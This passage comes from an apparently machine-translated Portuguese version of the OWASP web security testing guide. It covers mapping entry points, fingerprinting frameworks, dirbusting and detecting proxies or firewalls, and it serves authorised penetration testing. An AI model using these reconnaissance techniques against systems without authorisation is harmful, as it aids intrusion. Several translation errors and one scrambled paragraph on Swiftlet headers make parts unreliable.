aplicativo e o que está sendo retornado. Às vezes, isso pode ser bastante tedioso, especialmente em grandes sites interativos (pense em um
aplicativo bancário). No entanto, a experiência mostrará o que procurar e esta fase pode ser significativamente reduzida.
À medida que o testador percorre o aplicativo, ele deve anotar quaisquer parâmetros interessantes na URL, cabeçalhos personalizados ou corpo
das solicitações/respostas e salvá-los em uma planilha. A planilha deve incluir a página solicitada (talvez seja bom adicionar também o número
da solicitação do proxy, para referência futura), os parâmetros de interesse, o tipo de solicitação (GET, POST, etc), se o acesso é autenticado/
não autenticado, se TLS for usado, se fizer parte de um processo de várias etapas, se WebSockers forem usados e quaisquer outras notas
relevantes. Depois de mapear todas as áreas do aplicativo, eles podem passar pelo aplicativo e testar cada uma das áreas que identificaram e
fazer anotações sobre o que funcionou e o que não funcionou. O restante deste guia identificará como testar cada uma dessas áreas de
interesse, mas esta seção deve ser realizada antes que qualquer teste real possa começar.
Abaixo estão alguns pontos de interesse para todas as solicitações e respostas. Na seção de solicitações, concentre-se nos métodos GET e
POST, pois eles aparecem na maioria das solicitações. Observe que outros métodos, como PUT e DELETE, podem ser usados. Frequentemente,
essas solicitações mais raras, se permitidas, podem expor vulnerabilidades. Há uma seção especial neste guia dedicada a testar esses métodos
HTTP.
solicitações de
Identifique onde GETs são usados e onde POSTs são usados.

71
Identifique todos os parâmetros usados em uma solicitação POST (esses estão no corpo da solicitação).
Dentro da solicitação POST, preste atenção especial a quaisquer parâmetros ocultos. Quando um POST é enviado, todos os campos do formulário
(incluindo parâmetros ocultos) serão enviados no corpo da mensagem HTTP para o aplicativo. Normalmente, eles não são vistos, a menos que um proxy
ou exibição do código-fonte HTML seja usado. Além disso, a próxima página exibida, seus dados e o nível de acesso podem ser diferentes dependendo do
valor do(s) parâmetro(s) oculto(s).
Identifique todos os parâmetros usados em uma solicitação GET (ou seja, URL), em particular a string de consulta (geralmente após uma marca ?).
Identifique todos os parâmetros da string de consulta. Eles geralmente estão em um formato de par, como foo=bar . Observe também que muitos parâmetros
, \~ ,ou: codificação.
podem estar em uma string de consulta, como separados por um & ou qualquer outro caractere especial ,
Uma observação especial quando se trata de identificar vários parâmetros em uma string ou em uma solicitação POST é que alguns ou todos os parâmetros
serão necessários para executar os ataques. O testador precisa identificar todos os parâmetros (mesmo que sejam codificados ou criptografados) e
identificar quais são processados pelo aplicativo. As seções posteriores do guia identificarão como testar esses parâmetros. Neste ponto, apenas certifique-
se de que cada um deles esteja identificado.
Preste atenção também a quaisquer cabeçalhos de tipo personalizados ou adicionais que normalmente não são vistos (como debug: false ).
Respostas
Identifique onde novos cookies são definidos ( cabeçalho Set-Cookie ), modificados ou adicionados.
Identifique onde há redirecionamentos (3xx código de status HTTP), 400 códigos de status, em particular 403 Forbidden e 500 erros internos do servidor
durante respostas normais (ou seja, solicitações não modificadas).
Observe também onde quaisquer cabeçalhos interessantes são usados. Por exemplo, Servidor: BIG-IP indica que o site tem balanceamento de carga.
Portanto, se um site tiver balanceamento de carga e um servidor estiver configurado incorretamente, o testador pode ter que fazer várias solicitações para
acessar o servidor vulnerável, dependendo do tipo de balanceamento de carga usado.

Teste para pontos de entrada de aplicativos
A seguir estão dois exemplos de como verificar os pontos de entrada do aplicativo.
Exemplo 1
Este exemplo mostra uma solicitação GET que compraria um item de um aplicativo de compras online.
GET /shoppingApp/buyme.asp?CUSTOMERID=100&ITEM=z101a&PRICE=62.50&IP=xxxx HTTP/1.1 Host: xxxx
Cookie: SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIGZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy
Aqui, o testador anotaria todos os parâmetros da solicitação, como CUSTOMERID, ITEM, PRICE, IP e o Cookie (que podem ser apenas parâmetros
codificados ou usados para o estado da sessão).
Exemplo 2
Este exemplo mostra uma solicitação POST que faria login em um aplicativo.
POST /KevinNotSoGoodApp/authenticate.asp?service=login HTTP/1.1 Host: xxxx
Cookie: SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIHByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMgMT
IzNA==;CustomCookie=00my00trusted00ip00is00x.xxx00
user=admin&pass=pass123&debug=true&fromtrustIP=true
Neste exemplo, o testador observaria todos os parâmetros como antes, porém a maioria dos parâmetros é passada no corpo da solicitação e não na URL.
Além disso, observe que há um cabeçalho HTTP personalizado ( CustomCookie ) sendo usado.
Teste de caixa cinza

Machine
72
O teste de pontos de entrada de aplicativos por meio de uma metodologia de caixa cinza consistiria em tudo já identificado acima com uma adição. Nos
casos em que existem fontes externas das quais o aplicativo recebe dados e os processa (como traps SNMP, mensagens syslog, SMTP ou mensagens
SOAP de outros servidores), uma reunião com os desenvolvedores do aplicativo pode identificar quaisquer funções que aceitariam ou esperariam que o
usuário entrada e como eles são formatados. Por exemplo, o desenvolvedor pode ajudar a entender como formular uma solicitação SOAP correta que o
aplicativo aceitaria e onde o serviço da Web reside (se o serviço da Web ou qualquer outra função ainda não tiver sido identificada durante o teste de caixa
preta).
Detector de Superfície de Ataque OWASP
A ferramenta Attack Surface Detector (ASD) investiga o código-fonte e revela os terminais de um aplicativo da Web, os parâmetros que esses terminais
aceitam e o tipo de dados desses parâmetros. Isso inclui os endpoints não vinculados que um spider não conseguirá encontrar ou parâmetros opcionais
totalmente não utilizados no código do lado do cliente. Ele também tem a capacidade de calcular as mudanças na superfície de ataque entre duas versões
de um aplicativo.
O Attack Surface Detector está disponível como um plug-in para ZAP e Burp Suite, e uma ferramenta de linha de comando também está disponível. A
ferramenta de linha de comando exporta a superfície de ataque como uma saída JSON, que pode ser usada pelo plug-in ZAP e Burp Suite. Isso é útil para
casos em que o código-fonte não é fornecido diretamente ao testador de penetração. Por exemplo, o testador de penetração pode obter o arquivo de saída
json de um cliente que não deseja fornecer o próprio código-fonte.
Como usar
O arquivo jar da CLI está disponível para download em https://github.com/secdec/attack-surface-detector-cli/releases.
Você pode executar o seguinte comando para o ASD identificar pontos de extremidade do código-fonte do aplicativo da Web de destino.
java -jar attack-surface-detector-cli-1.3.5.jar <source-code-path> [flags]
Aqui está um exemplo de execução do comando no OWASP RailsGoat.
$ java -jar attack-surface-detector-cli-1.3.5.jar railsgoat/ Início da detecção de endpoint para '<...>/

railsgoat' com 1 tipos de estrutura Usando framework=RAILS [0] GET: /login (0 variantes ): PARAMETERS={url=nome=url,
paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/sessions_controller.rb (linhas '6'-'9')
[1] GET: /logout (0 variantes): PARAMETERS={}; FILE=/app/controllers/sessions_controller.rb (linhas '33'-'37')
[2] POST: /esqueci a senha (0 variantes): PARAMETERS={email=name=email, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/

controllers/ password_resets_controller.rb (linhas '29'-'38')
[3] GET: /password_resets (0 variantes): PARAMETERS={token=name=token, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/

controllers/p assword_resets_controller.rb (linhas '19'-'27')
[4] POST: /password_resets (0 variantes): PARAMETERS={password=name=password, paramType=QUERY_STRING, dataType=STRING, user=name=user,

paramType=QUERY_STRING, dataType=STRING, confirm_password=name=confirm_password, paramType =QUERY_STRING, dataType=STRING}; FILE=/
app/controllers/password_resets_controller.rb (linhas '5'-'17')
[5] GET: /sessions/new (0 variantes): PARAMETERS={url=name=url, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/

controllers/sessions_controller.rb (linhas '6'-'9')
[6] POST: /sessions (0 variantes): PARAMETERS={password=name=senha, paramType=QUERY_STRING, dataType=STRING, user_id=name=user_id,
paramType=SESSION, dataType=STRING, Remember_me=name=remember_me, paramType =QUERY_STRING, dataType=STRING, url=nome=url,
paramType=QUERY_STRING, dataType=STRING, email=nome=email, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/
sessions_controller.rb (linhas '11'-'31')
[7] APAGAR: /sessions/{id} (0 variantes): PARÂMETROS={}; FILE=/app/controllers/sessions_controller.rb (linhas '33'-'37')
[8] GET: /users (0 variantes): PARAMETERS={}; FILE=/app/controllers/api/v1/users_controller.rb (linhas '9'-'11')
[9] GET: /users/{id} (0 variantes): PARAMETERS={}; FILE=/app/controllers/api/v1/users_controller.rb (linhas '13'-'15') ... recortado ...
[38] GET: /api/v1/mobile/{id} (0 variantes): PARAMETERS={id=name=id, paramType=QUERY_STRING,

73
dataType=STRING, classe=nome=classe, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/

controllers/api/v1/mobile_controller.rb (linhas '8'-'13')
[39] GET: / (0 variantes): PARAMETERS={url=nome=url, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/
sessions_controller.rb (linhas '6'-'9')
Foram gerados 40 endpoints distintos com 0 variantes para um total de 40 endpoints Serialização validada
com sucesso para esses endpoints 0 endpoints com código inicial ausente 0 endpoints com código ausente
linha final 0 endpoints com o mesmo código inicial e final gerado Gerado 36 parâmetros distintos Gerado 36
no total parâmetros - 36/36 têm seu tipo de dados - 0/36 têm uma lista de valores aceitos - 36/36 têm seu tipo
de parâmetro --- QUERY_STRING: 35 --- SESSION: 1
Detecção de endpoint concluída para '<...>/railsgoat'

----------
-- FEITO --
0 projetos tinham endpoints duplicados
Gerou 40 endpoints distintos
Total de 40 endpoints gerados
Gerou 36 parâmetros distintos
Parâmetros totais 36 gerados 1/1 projetos
tiveram endpoints gerados
Para ativar o registro, inclua o argumento -debug
Você também pode gerar um arquivo de saída JSON usando o sinalizador -json , que pode ser usado pelo plug-in para ZAP e Burp Suite. Consulte os links
a seguir para obter mais detalhes.
Página inicial do plug-in ASD para OWASP ZAP

Página inicial do plug-in ASD para PortSwigger Burp
Ferramentas
Proxy de Ataque Zed OWASP (ZAP)
Suíte Burp
Violinista
Referências
RFC 2616 – Protocolo de transferência de hipertexto – HTTP 1.1
Detector de Superfície de Ataque OWASP

Machine
74
Mapear caminhos de execução por meio do aplicativo
EU IRIA
WSTG-INFO-07
Resumo
Antes de iniciar o teste de segurança, é fundamental entender a estrutura do aplicativo. Sem uma compreensão completa do layout do aplicativo, é improvável
que ele seja testado completamente.
Objetivos do teste
Mapeie o aplicativo de destino e entenda os principais fluxos de trabalho.
Como testar
No teste de caixa preta, é extremamente difícil testar toda a base de código. Não apenas porque o testador não tem visualização dos caminhos de código por
meio do aplicativo, mas mesmo que tivesse, testar todos os caminhos de código consumiria muito tempo. Uma maneira de reconciliar isso é documentar quais
caminhos de código foram descobertos e testados.
Existem várias maneiras de abordar o teste e a medição da cobertura de código:
Caminho - teste cada um dos caminhos por meio de um aplicativo que inclui testes de análise combinatória e de valor de limite para cada caminho de
decisão. Embora essa abordagem ofereça abrangência, o número de caminhos testáveis cresce exponencialmente a cada ramificação de decisão.
Data Flow (ou Taint Analysis) - testa a atribuição de variáveis via interação externa (normalmente usuários). Concentra-se no mapeamento do fluxo,
transformação e uso de dados em um aplicativo.
Race - testa várias instâncias simultâneas do aplicativo manipulando os mesmos dados.
A escolha de qual método é usado e em que grau cada método é usado deve ser negociada com o proprietário do aplicativo. Abordagens mais simples
também podem ser adotadas, incluindo perguntar ao proprietário do aplicativo com quais funções ou seções de código eles estão particularmente preocupados
e como esses segmentos de código podem ser alcançados.
Para demonstrar a cobertura do código para o proprietário do aplicativo, o testador pode começar com uma planilha e documentar todos os links descobertos
pelo spidering do aplicativo (manual ou automaticamente). Em seguida, o testador pode examinar mais de perto os pontos de decisão no aplicativo e investigar
quantos caminhos de código significativos foram descobertos. Estes devem então ser documentados na planilha com URLs, prosa e descrições de captura
de tela dos caminhos descobertos.
Revisão de código
Garantir cobertura de código suficiente para o proprietário do aplicativo é muito mais fácil com a abordagem de caixa cinza e caixa branca para teste. As
informações solicitadas e fornecidas ao testador garantirão que os requisitos mínimos para cobertura de código sejam atendidos.
Muitas ferramentas modernas de teste dinâmico de segurança de aplicativos (DAST) facilitam o uso de um agente de servidor da web ou podem ser
combinadas com um agente terceirizado para monitorar as especificidades da cobertura de aplicativos da web.
Spidering Automático
O spider automático é uma ferramenta usada para descobrir automaticamente novos recursos (URLs) em um determinado site. Ele começa com
uma lista de URLs a serem visitadas, chamadas de sementes, que dependem de como o Spider é iniciado. Embora existam muitas ferramentas de
Spidering, o exemplo a seguir usa o Zed Attack Proxy (ZAP):
75
Figura 4.1.7-1: Tela de Proxy de Ataque Zed
ZAP oferece várias opções de indexação automática, que podem ser aproveitadas com base nas necessidades do testador:
Aranha
Aranha AJAX
Suporte OpenAPI
Ferramentas
Proxy de Ataque Zed (ZAP)
Lista de software de planilha
software de diagramação
Referências
Cobertura de código
76
Estrutura de aplicativo da Web de impressão digital
EU IRIA
WSTG-INFO-08
Resumo
Não há nada de novo sob o sol, e quase todos os aplicativos da web que alguém pode pensar em desenvolver já foram desenvolvidos. Com o grande
número de projetos de software livre e de código aberto que são ativamente desenvolvidos e implantados em todo o mundo, é muito provável que um
teste de segurança de aplicativo enfrente um alvo que depende total ou parcialmente desses aplicativos ou estruturas bem conhecidas (por exemplo,
WordPress , phpBB, Mediawiki, etc). Conhecer os componentes do aplicativo da Web que estão sendo testados ajuda significativamente no processo de
teste e também reduz drasticamente o esforço necessário durante o teste. Esses aplicativos da Web conhecidos têm cabeçalhos HTML, cookies e
estruturas de diretório conhecidas que podem ser enumeradas para identificar o aplicativo. A maioria das estruturas da Web possui vários marcadores
nesses locais que ajudam um invasor ou testador a reconhecê-los. Isso é basicamente o que todas as ferramentas automáticas fazem, elas procuram um
marcador de um local predefinido e depois o comparam com o banco de dados de assinaturas conhecidas. Para melhor precisão, vários marcadores são
geralmente usados.
Objetivos do teste
Faça impressões digitais dos componentes usados pelos aplicativos da web.
Como testar
Existem vários locais comuns a serem considerados para identificar estruturas ou componentes:
Cabeçalhos HTTP
Biscoitos
Código-fonte HTML
Arquivos e pastas específicos
Extensões de arquivo
Mensagens de erro
Cabeçalhos HTTP
A forma mais básica de identificar um framework da web é observar o campo X-Powered-By no cabeçalho de resposta HTTP.
Muitas ferramentas podem ser usadas para identificar um alvo, a mais simples é o netcat.
Considere a seguinte solicitação-resposta HTTP:
$ nc 127.0.0.1 80 HEAD /
HTTP/1.0
HTTP/1.1 200 OK
Servidor: nginx/1.0.14 [...]
X-Powered-By: Mono
No campo X-Powered-By , entendemos que a estrutura do aplicativo da Web provavelmente será Mono . No entanto, embora essa abordagem seja
simples e rápida, essa metodologia não funciona em 100% dos casos. É possível desabilitar facilmente o cabeçalho X-Powered-By por meio de uma
configuração adequada. Existem também várias técnicas que permitem que um site
77
ofuscar cabeçalhos HTTP (veja um exemplo na seção Remediação). No exemplo acima, também podemos observar que uma versão específica
do nginx está sendo usada para servir o conteúdo.
Portanto, no mesmo exemplo, o testador pode perder o cabeçalho X-Powered-By ou obter uma resposta como a seguinte:
HTTP/1.1 200 OK
Sáb, 07 de setembro de 2013 08:19:15 GMT
Tipo de conteúdo: text/html;charset=ISO-8859-1 Conexão:
fechar
Variar: aceitar-codificação
X-Powered-By: Sangue, suor e lágrimas
Às vezes, há mais cabeçalhos HTTP que apontam para uma determinada estrutura. No exemplo a seguir, de acordo com as informações da
solicitação HTTP, pode-se ver que o cabeçalho X-Powered-By contém a versão do PHP. No entanto, o cabeçalho do X Generator indica que a
, que
estrutura usada é, na verdade, Swiftlet , seus vetores de ataque. Ao executar a impressão ajuda
digital, um testador
inspecione de penetração
cuidadosamente a expandir
cada cabeçalho
HTTP em busca de tais vazamentos.
HTTP/1.1 200 OK
Servidor: nginx/1.4.1
Data: Sáb, 07 de setembro de 2013 09:22:52
GMT Tipo de conteúdo: texto/html Conexão:
manter ativo Variar: Aceitar codificação X-
Powered-By: PHP/5.4.16-1 ~dotdeb.1 Expira:
quinta-feira, 19 de novembro de 1981 08:52:00
GMT Controle de cache: sem armazenamento, sem
cache, deve ser revalidado, pós-verificação = 0, pré-verificação = 0 Pragma: sem cache X -Gerador:
Swiftlet
Biscoitos
Outra maneira semelhante e um pouco mais confiável de determinar a estrutura da Web atual são os cookies específicos da estrutura.
Considere a seguinte solicitação HTTP:
Figura 4.1.8-7: Solicitação HTTP Cakephp
O cookie CAKEPHP foi definido automaticamente, o que fornece informações sobre o framework que está sendo usado. Uma lista de nomes
de cookies comuns é apresentada na seção Cookies . Ainda existem limitações em confiar neste mecanismo de identificação - é possível alterar
o nome dos cookies. Por exemplo, para o framework CakePHP selecionado , isso pode ser feito através da seguinte configuração (excerto de
core.php ):
/**
* O nome do cookie de sessão do CakePHP.
*
*
Observe que as diretrizes para os estados de nomes de sessão: "O nome da sessão faz referência
* o ID da sessão em cookies e URLs. Deve conter apenas caracteres alfanuméricos *."
* @link http://php.net/session_name
78
*/
Configure::write('Session.cookie', 'CAKEPHP');
No entanto, é menos provável que essas alterações sejam feitas do que alterações no cabeçalho X-Powered-By , portanto, essa abordagem de
identificação pode ser considerada mais confiável.
Código fonte HTML
Essa técnica é baseada na localização de certos padrões no código-fonte da página HTML. Freqüentemente, pode-se encontrar muitas informações
que ajudam um testador a reconhecer um componente específico. Um dos marcadores comuns são os comentários HTML que levam diretamente à
divulgação do framework. Mais frequentemente, certos caminhos específicos do framework podem ser encontrados, ou seja, links para pastas CSS
ou JS específicas do framework. Por fim, variáveis de script específicas também podem apontar para uma determinada estrutura.
Na captura de tela abaixo, pode-se aprender facilmente a estrutura usada e sua versão pelos marcadores mencionados. O comentário, caminhos
específicos e variáveis de script podem ajudar um invasor a determinar rapidamente uma instância do framework ZK.
Figura 4.1.8-2: Amostra de fonte HTML do ZK Framework
Freqüentemente, essas informações são posicionadas na seção <head> das respostas HTTP, em tags <meta> ou no final da página. No entanto,
respostas inteiras devem ser analisadas, pois podem ser úteis para outros fins, como inspeção de outros comentários úteis e campos ocultos. Às
vezes, os desenvolvedores da Web não se preocupam muito em ocultar informações sobre os frameworks ou componentes usados. Ainda é possível
tropeçar em algo assim na parte inferior da página:
Figura 4.1.8-3: Página inferior do Banshee
Arquivos e pastas específicos

Existe outra abordagem que ajuda muito um invasor ou testador a identificar aplicativos ou componentes com alta precisão. Cada componente da
web tem seu próprio arquivo específico e estrutura de pastas no servidor. Foi observado que é possível ver o caminho específico da fonte da página
HTML, mas às vezes eles não são apresentados explicitamente e ainda assim
residir no servidor.
Para descobri-los, é utilizada uma técnica conhecida como navegação forçada ou “dirbusting”. Dirbusting é a força bruta de um alvo com pastas e
nomes de arquivos conhecidos e monitoramento de respostas HTTP para enumerar o conteúdo do servidor. Essas informações podem ser usadas
tanto para localizar arquivos padrão e atacá-los quanto para identificar o aplicativo da web. O dirbusting pode ser feito de várias maneiras, o exemplo
abaixo mostra um ataque de dirbusting bem-sucedido contra um alvo do WordPress com a ajuda da lista definida e da funcionalidade de intruso do
Burp Suite.
Figura 4.1.8-4: Dirbusting com Burp
Podemos ver isso para algumas pastas específicas do WordPress (por exemplo, /wp-includes/ , /wp-admin/ e /wp-content/ )
As respostas HTTP são 403 (Proibido), 302 (Encontrado, redirecionamento para wp-login.php ) e 200 (OK), respectivamente. Isto é um
79
bom indicador de que o alvo é WordPress. Da mesma forma é possível dirbustar diferentes pastas de plugins de aplicativos e suas versões. Na
captura de tela abaixo, pode-se ver um arquivo CHANGELOG típico de um plug-in Drupal, que fornece informações sobre o aplicativo que está
sendo usado e revela uma versão vulnerável do plug-in.
Figura 4.1.8-5: Divulgação do Drupal Botcha
Dica: antes de iniciar o dirbusting, verifique primeiro o arquivo robots.txt . Às vezes, pastas específicas de aplicativos e outras informações
confidenciais também podem ser encontradas lá. Um exemplo desse arquivo robots.txt é apresentado na captura de tela abaixo.
Machine
80
Figura 4.1.8-6: Divulgação de informações dos robôs
Arquivos e pastas específicos são diferentes para cada aplicativo específico. Se o aplicativo ou componente identificado for de código aberto,
pode ser útil configurar uma instalação temporária durante os testes de penetração para obter uma melhor compreensão de qual infraestrutura ou
funcionalidade é apresentada e quais arquivos podem ser deixados no servidor. No entanto, já existem várias boas listas de arquivos; um bom
exemplo são as listas de palavras do FuzzDB de arquivos/pastas previsíveis.
Extensões de arquivo
Os URLs podem incluir extensões de arquivo, que também podem ajudar a identificar a plataforma ou tecnologia da web.
Por exemplo, o wiki OWASP usou PHP:
https://wiki.owasp.org/index.php?title=Fingerprint_Web_Application_Framework&action=edit&section=4
Aqui estão algumas extensões de arquivo da Web comuns e tecnologias associadas:
.php – PHP
.aspx – Microsoft ASP.NET .jsp –
Java Server Pages
Mensagens de erro
Como pode ser visto na captura de tela a seguir, o caminho do sistema de arquivos listado aponta para o uso do WordPress ( wp-content ). Além disso,
os testadores devem estar cientes de que o WordPress é baseado em PHP ( functions.php ).
81
Figura 4.1.8-7: Erro de análise do WordPress
Identificadores Comuns
Biscoitos
Estrutura Nome do cookie
zope zope3
CakePHP cakephp
Kohana kohanasession
laravel laravel_session
phpBB phpbb3_
WordPress wp-configurações
1C-Bitrix BITRIX_
AMPcms AMP
Django CMSName django
DotNetNuke DotNetNukeAnonymous
e107 e107_tz
EPiServer EPiTrace, EPiServer
Graffiti CMS graffitibot
Hotaru CMSName hotaru_mobile
Impress CMS ICMSession
índico MAKACSESSION
InstantCMS InstantCMS[logdate]
Kentico CMS CMSPreferredCulture
MODx SN4[12symb]
TYPO3 fe_typo_user
Dynamicweb Dynamicweb
LEPTÃO lep[some_numeric_value]+sessionid
Wix Domínio=.wix.com
VIVVO VivoSessãoId
Machine
82
Código fonte HTML
Aplicativo Palavra-chave
WordPress <meta name="generator" content="WordPress 3.9.2" />
phpBB <body id="phpbb"
Mediawiki <meta name="generator" content="MediaWiki 1.21.9" />
JoomlaGenericName
<meta name="generator" content="Joomla! - Gerenciamento de conteúdo de código aberto" />
DrupalName <meta name="Generator" content="Drupal 7 (http://drupal.org)" />
DotNetNuke Plataforma DNN - [http://www.dnnsoftware.com](http://www.dnnsoftware.com)
marcadores gerais
%framework_name%
distribuído por
construído sobre
corrida
Marcadores Específicos
Estrutura Palavra-chave
Adobe ColdFusion 
Inibir indexar ndxz-studio
Remediação
Embora esforços possam ser feitos para usar diferentes nomes de cookies (através da alteração de configurações), ocultar ou alterar caminhos de arquivos/diretórios (através de
reescrita ou alterações no código-fonte), remoção de cabeçalhos conhecidos, etc., tais esforços se resumem a “segurança por meio da obscuridade”. Os proprietários/administradores
do sistema devem reconhecer que esses esforços apenas retardam os adversários mais básicos. O tempo/esforço pode ser melhor utilizado em atividades de conscientização das
partes interessadas e manutenção da solução.
Ferramentas
Uma lista de ferramentas gerais e bem conhecidas é apresentada abaixo. Há também muitos outros utilitários, bem como ferramentas de impressão digital baseadas em estrutura.
WhatWeb
Site: https://github.com/urbanadventurer/WhatWeb
Atualmente uma das melhores ferramentas de impressão digital do mercado. Incluído em um Kali Linux padrão Construir. Linguagem: Ruby Correspondências para impressão digital
são feitas com:
Strings de texto (diferencia maiúsculas de minúsculas)
Expressões regulares
Consultas do Google Hack Database (conjunto limitado de palavras-chave)
hashes MD5
Reconhecimento de URL
Machine
83
padrões de tags HTML
Código ruby personalizado para operações passivas e agressivas
A saída de amostra é apresentada em uma captura de tela abaixo:
Figura 4.1.8-8: amostra de saída Whatweb
Site do
Wappalyzer : https://www.wappalyzer.com/
Wapplyzer está disponível em vários modelos de uso, o mais popular dos quais é provavelmente as extensões do Firefox/Chrome.
Eles funcionam apenas na correspondência de expressões regulares e não precisam de nada além da página a ser carregada no navegador. Funciona
completamente no nível do navegador e fornece resultados na forma de ícones. Embora às vezes tenha falsos positivos, isso é muito útil para ter noção
de quais tecnologias foram usadas para construir um site de destino imediatamente após navegar em uma página.
A saída de amostra de um plug-in é apresentada na captura de tela abaixo.
Figura 4.1.8-9: Saída do Wappalyzer para o site OWASP
Referências
Artigos técnicos
Saumil Shah: “Uma introdução à impressão digital HTTP”
Anant Shrivastava: “Impressão digital de aplicativos da Web”

84
Aplicativo da Web de impressão digital
EU IRIA
WSTG-INFO-09
Este conteúdo foi mesclado em: Fingerprint Web Application Framework.

85
Arquitetura do Aplicativo de Mapa
EU IRIA
WSTG-INFO-10
Resumo
A complexidade da infraestrutura da web interconectada e heterogênea pode incluir centenas de aplicativos da web e torna o gerenciamento
de configuração e revisão uma etapa fundamental no teste e implantação de cada aplicativo. Na verdade, basta uma única vulnerabilidade para
minar a segurança de toda a infraestrutura, e mesmo problemas pequenos e aparentemente sem importância podem evoluir para riscos graves
para outro aplicativo na mesma infraestrutura.
Para resolver esses problemas, é de extrema importância realizar uma análise aprofundada da configuração e dos problemas de segurança
conhecidos. Antes de realizar uma revisão aprofundada é necessário mapear a rede e a arquitetura da aplicação. Os diferentes elementos que
compõem a infraestrutura precisam ser determinados para entender como eles interagem com um aplicativo da web e como afetam a segurança.
Objetivos do teste
Gere um mapa do aplicativo em mãos com base na pesquisa realizada.
Como testar
Mapeie a arquitetura do aplicativo
A arquitetura do aplicativo precisa ser mapeada por meio de algum teste para determinar quais componentes diferentes são usados para
construir o aplicativo da web. Em configurações pequenas, como um aplicativo PHP simples, pode ser usado um único servidor que atenda ao
aplicativo PHP e talvez também ao mecanismo de autenticação.
Em configurações mais complexas, como um sistema bancário online, vários servidores podem estar envolvidos. Isso pode incluir um proxy
reverso, um servidor web front-end, um servidor de aplicativos e um servidor de banco de dados ou servidor LDAP. Cada um desses servidores
será usado para finalidades diferentes e pode até ser segregado em diferentes redes com firewalls entre eles. Isso cria diferentes zonas de rede
para que o acesso ao servidor web não necessariamente conceda a um usuário remoto acesso ao próprio mecanismo de autenticação e para
que os comprometimentos dos diferentes elementos da arquitetura possam ser isolados para que não comprometam toda a arquitetura.
Obter conhecimento da arquitetura do aplicativo pode ser fácil se essas informações forem fornecidas à equipe de teste pelos desenvolvedores
do aplicativo em forma de documento ou por meio de entrevistas, mas também pode ser muito difícil se for feito um teste de penetração cego.
No último caso, um testador começará primeiro com a suposição de que existe uma configuração simples (um único servidor). Em seguida,
eles recuperarão informações de outros testes e derivarão os diferentes elementos, questionarão essa suposição e estenderão o mapa da
arquitetura. O testador começará fazendo perguntas simples como: “Existe um firewall protegendo o servidor web?”. Esta pergunta será
respondida com base nos resultados das varreduras de rede direcionadas ao servidor web e na análise se as portas de rede do servidor web
estão sendo filtradas na borda da rede (sem resposta ou ICMP inacessíveis são recebidos) ou se o servidor está conectado diretamente à
Internet (isto é, retorna pacotes RST para todas as portas que não estão escutando). Essa análise pode ser aprimorada para determinar o tipo
de firewall usado com base em testes de pacotes de rede. É um firewall com estado ou é um filtro de lista de acesso em um roteador? Como
está configurado? Pode ser contornado? É um firewall de aplicativo da Web completo?
A detecção de um proxy reverso na frente do servidor da Web pode ser feita pela análise do banner do servidor da Web, que pode revelar
diretamente a existência de um proxy reverso. Também pode ser determinado obtendo as respostas dadas pelo servidor web às requisições e
comparando-as com as respostas esperadas. Por exemplo, alguns proxies reversos atuam como Intrusão
86
Sistemas de Prevenção (IPS) bloqueando ataques conhecidos direcionados ao servidor web. Se o servidor da Web responde com uma mensagem
404 a uma solicitação que visa uma página indisponível e retorna uma mensagem de erro diferente para alguns ataques comuns da Web, como
aqueles feitos por scanners de vulnerabilidade, pode ser uma indicação de um proxy reverso (ou um firewall em nível de aplicativo) que está
filtrando as requisições e retornando uma página de erro diferente da esperada.
Outro exemplo: se o servidor da Web retornar um conjunto de métodos HTTP disponíveis (incluindo TRACE), mas os métodos esperados
retornarem erros, provavelmente haverá algo entre bloqueá-los.
Em alguns casos, até mesmo o sistema de proteção se entrega. Aqui está um exemplo de auto-identificação do mod_security:
Figura 4.1.10-1: Exemplo de página de erro do mod_security
Os proxies reversos também podem ser introduzidos como caches de proxy para acelerar o desempenho dos servidores de aplicativos de back-
end. A detecção desses proxies pode ser feita com base no cabeçalho do servidor. Eles também podem ser detectados cronometrando as
solicitações que devem ser armazenadas em cache pelo servidor e comparando o tempo gasto para atender a primeira solicitação com as
solicitações subsequentes.
Outro elemento que pode ser detectado são os balanceadores de carga de rede. Normalmente, esses sistemas irão equilibrar uma determinada
porta TCP/IP para vários servidores com base em diferentes algoritmos (round-robin, carga do servidor web, número de solicitações, etc.). Assim,
a detecção desse elemento de arquitetura precisa ser feita examinando várias solicitações e comparando os resultados para determinar se as
solicitações estão indo para o mesmo ou para diferentes servidores da Web. Por exemplo, com base no cabeçalho Date se os relógios do servidor
não estiverem sincronizados. Em alguns casos, o processo de balanceamento de carga da rede pode injetar novas informações nos cabeçalhos
que o destacarão distintamente, como o cookie prefixado BIGipServer introduzido pelos balanceadores de carga F5 BIG-IP.
Os servidores da Web de aplicativos geralmente são fáceis de detectar. A solicitação de vários recursos é tratada pelo próprio servidor de
aplicativos (não pelo servidor da Web) e o cabeçalho de resposta varia significativamente (incluindo valores diferentes ou adicionais no cabeçalho
de resposta). Outra maneira de detectá-los é ver se o servidor da web tenta definir cookies que são indicativos de um servidor da web de aplicativo
sendo usado (como o JSESSIONID fornecido por vários servidores J2EE) ou reescrever URLs automaticamente para fazer o rastreamento de
sessão.
Os back-ends de autenticação (como diretórios LDAP, bancos de dados relacionais ou servidores RADIUS), no entanto, não são tão fáceis de
detectar de um ponto de vista externo de maneira imediata, pois serão ocultados pelo próprio aplicativo.
O uso de um banco de dados de back-end pode ser determinado simplesmente navegando em um aplicativo. Se houver conteúdo altamente
dinâmico gerado “on the fly” provavelmente está sendo extraído de algum tipo de banco de dados pelo próprio aplicativo.
Às vezes, a forma como as informações são solicitadas pode fornecer informações sobre a existência de um back-end de banco de dados. Por
exemplo, uma aplicação de compras online que utiliza identificadores numéricos ( id ) ao navegar pelos diferentes artigos da loja.
No entanto, ao fazer um teste de aplicativo cego, o conhecimento do banco de dados subjacente geralmente só está disponível quando uma
vulnerabilidade surge no aplicativo, como tratamento inadequado de exceções ou suscetibilidade à injeção de SQL.
87
4.2.1 Testar a configuração da infraestrutura de rede
